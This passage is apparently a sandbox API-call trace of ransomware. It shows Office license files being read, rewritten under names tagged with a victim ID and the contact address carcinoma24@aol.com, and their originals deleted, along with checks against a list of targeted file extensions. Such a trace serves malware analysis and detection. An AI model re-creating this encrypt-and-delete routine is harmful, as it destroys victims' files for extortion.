lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0284.068] WriteFile (in: hFile=0x43c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x116, lpOverlapped=0x0) returned 1 [0284.068] SetEndOfFile (hFile=0x43c) returned 1 [0284.068] CloseHandle (hObject=0x43c) returned 1 [0284.068] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.068] SetEndOfFile (hFile=0x41c) returned 1 [0284.076] CloseHandle (hObject=0x41c) returned 1 [0284.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.077] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms")) returned 1 [0284.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0284.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0284.078] lstrlenW (lpString=".doc") returned 4 [0284.078] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0284.078] lstrlenW (lpString=".docx") returned 5 [0284.078] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0284.078] lstrlenW (lpString=".pdf") returned 4 [0284.078] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0284.078] lstrlenW (lpString=".xls") returned 4 [0284.078] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0284.079] lstrlenW (lpString=".xlsx") returned 5 [0284.079] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0284.079] lstrlenW (lpString=".ppt") returned 4 [0284.079] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0284.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0284.079] lstrlenW (lpString=".zip") returned 4 [0284.079] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0284.079] lstrlenW (lpString=".rar") returned 4 [0284.079] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0284.079] lstrlenW (lpString=".bz2") returned 4 [0284.079] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0284.079] lstrlenW (lpString=".7z") returned 3 [0284.079] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0284.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0284.079] lstrlenW (lpString=".dbf") returned 4 [0284.079] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0284.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0284.079] lstrlenW (lpString=".1cd") returned 4 [0284.079] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0284.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0284.079] lstrlenW (lpString=".jpg") returned 4 [0284.079] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0284.080] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=10623) returned 1 [0284.080] CloseHandle (hObject=0x41c) returned 1 [0284.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms")) returned 0x220 [0284.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0284.081] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.081] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0284.083] GetLastError () returned 0x0 [0284.083] ReadFile (in: hFile=0x41c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x297f, lpOverlapped=0x0) returned 1 [0284.090] WriteFile (in: hFile=0x558, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2980, lpOverlapped=0x0) returned 1 [0284.091] ReadFile (in: hFile=0x41c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0284.091] WriteFile (in: hFile=0x558, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x100, lpOverlapped=0x0) returned 1 [0284.091] SetEndOfFile (hFile=0x558) returned 1 [0284.095] CloseHandle (hObject=0x558) returned 1 [0284.099] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.099] SetEndOfFile (hFile=0x41c) returned 1 [0284.114] CloseHandle (hObject=0x41c) returned 1 [0284.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.273] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms")) returned 1 [0284.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0284.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0284.580] lstrlenW (lpString=".doc") returned 4 [0284.580] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0284.580] lstrlenW (lpString=".docx") returned 5 [0284.580] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0284.580] lstrlenW (lpString=".pdf") returned 4 [0284.580] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0284.580] lstrlenW (lpString=".xls") returned 4 [0284.580] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0284.581] lstrlenW (lpString=".xlsx") returned 5 [0284.581] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0284.581] lstrlenW (lpString=".ppt") returned 4 [0284.581] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0284.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0284.581] lstrlenW (lpString=".zip") returned 4 [0284.581] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0284.581] lstrlenW (lpString=".rar") returned 4 [0284.581] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0284.581] lstrlenW (lpString=".bz2") returned 4 [0284.581] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0284.581] lstrlenW (lpString=".7z") returned 3 [0284.581] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0284.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0284.581] lstrlenW (lpString=".dbf") returned 4 [0284.581] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0284.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0284.581] lstrlenW (lpString=".1cd") returned 4 [0284.581] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0284.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0284.581] lstrlenW (lpString=".jpg") returned 4 [0284.581] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0284.593] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=4208) returned 1 [0284.593] CloseHandle (hObject=0x4ac) returned 1 [0284.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms")) returned 0x220 [0284.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0284.957] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.957] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0284.959] GetLastError () returned 0x0 [0284.959] ReadFile (in: hFile=0x4a8, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x1070, lpOverlapped=0x0) returned 1 [0284.981] WriteFile (in: hFile=0x544, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x1080, lpOverlapped=0x0) returned 1 [0284.982] ReadFile (in: hFile=0x4a8, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0284.982] WriteFile (in: hFile=0x544, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x106, lpOverlapped=0x0) returned 1 [0284.982] SetEndOfFile (hFile=0x544) returned 1 [0284.982] CloseHandle (hObject=0x544) returned 1 [0284.982] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.982] SetEndOfFile (hFile=0x4a8) returned 1 [0285.007] CloseHandle (hObject=0x4a8) returned 1 [0285.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.028] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms")) returned 1 [0285.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0285.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0285.029] lstrlenW (lpString=".doc") returned 4 [0285.029] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.029] lstrlenW (lpString=".docx") returned 5 [0285.030] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.030] lstrlenW (lpString=".pdf") returned 4 [0285.030] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.030] lstrlenW (lpString=".xls") returned 4 [0285.030] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.030] lstrlenW (lpString=".xlsx") returned 5 [0285.030] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.030] lstrlenW (lpString=".ppt") returned 4 [0285.030] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0285.030] lstrlenW (lpString=".zip") returned 4 [0285.030] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.030] lstrlenW (lpString=".rar") returned 4 [0285.030] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.030] lstrlenW (lpString=".bz2") returned 4 [0285.030] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.030] lstrlenW (lpString=".7z") returned 3 [0285.030] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0285.030] lstrlenW (lpString=".dbf") returned 4 [0285.030] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0285.030] lstrlenW (lpString=".1cd") returned 4 [0285.030] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0285.031] lstrlenW (lpString=".jpg") returned 4 [0285.031] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.031] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=20846) returned 1 [0285.031] CloseHandle (hObject=0x414) returned 1 [0285.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms")) returned 0x220 [0285.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0285.032] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.033] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0285.033] GetLastError () returned 0x0 [0285.033] ReadFile (in: hFile=0x414, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x516e, lpOverlapped=0x0) returned 1 [0285.049] WriteFile (in: hFile=0x54c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x5170, lpOverlapped=0x0) returned 1 [0285.050] ReadFile (in: hFile=0x414, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0285.050] WriteFile (in: hFile=0x54c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x108, lpOverlapped=0x0) returned 1 [0285.050] SetEndOfFile (hFile=0x54c) returned 1 [0285.051] CloseHandle (hObject=0x54c) returned 1 [0285.051] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.051] SetEndOfFile (hFile=0x414) returned 1 [0285.054] CloseHandle (hObject=0x414) returned 1 [0285.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms")) returned 1 [0285.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0285.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0285.056] lstrlenW (lpString=".doc") returned 4 [0285.056] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.056] lstrlenW (lpString=".docx") returned 5 [0285.056] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.056] lstrlenW (lpString=".pdf") returned 4 [0285.056] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.056] lstrlenW (lpString=".xls") returned 4 [0285.056] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.056] lstrlenW (lpString=".xlsx") returned 5 [0285.056] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.056] lstrlenW (lpString=".ppt") returned 4 [0285.056] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0285.056] lstrlenW (lpString=".zip") returned 4 [0285.056] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.057] lstrlenW (lpString=".rar") returned 4 [0285.057] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.057] lstrlenW (lpString=".bz2") returned 4 [0285.057] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.057] lstrlenW (lpString=".7z") returned 3 [0285.057] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0285.057] lstrlenW (lpString=".dbf") returned 4 [0285.057] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0285.057] lstrlenW (lpString=".1cd") returned 4 [0285.057] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0285.057] lstrlenW (lpString=".jpg") returned 4 [0285.057] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.058] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=11582) returned 1 [0285.058] CloseHandle (hObject=0x414) returned 1 [0285.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0285.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0285.059] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.059] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0285.060] GetLastError () returned 0x0 [0285.060] ReadFile (in: hFile=0x414, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x2d3e, lpOverlapped=0x0) returned 1 [0285.078] WriteFile (in: hFile=0x54c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2d40, lpOverlapped=0x0) returned 1 [0285.079] ReadFile (in: hFile=0x414, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0285.079] WriteFile (in: hFile=0x54c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x10e, lpOverlapped=0x0) returned 1 [0285.079] SetEndOfFile (hFile=0x54c) returned 1 [0285.079] CloseHandle (hObject=0x54c) returned 1 [0285.080] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.080] SetEndOfFile (hFile=0x414) returned 1 [0285.083] CloseHandle (hObject=0x414) returned 1 [0285.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.084] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms")) returned 1 [0285.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0285.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0285.085] lstrlenW (lpString=".doc") returned 4 [0285.085] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.086] lstrlenW (lpString=".docx") returned 5 [0285.086] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.086] lstrlenW (lpString=".pdf") returned 4 [0285.086] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.086] lstrlenW (lpString=".xls") returned 4 [0285.086] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.086] lstrlenW (lpString=".xlsx") returned 5 [0285.086] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.086] lstrlenW (lpString=".ppt") returned 4 [0285.086] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.086] lstrlenW (lpString="C:\\Program Files\\Microsoft 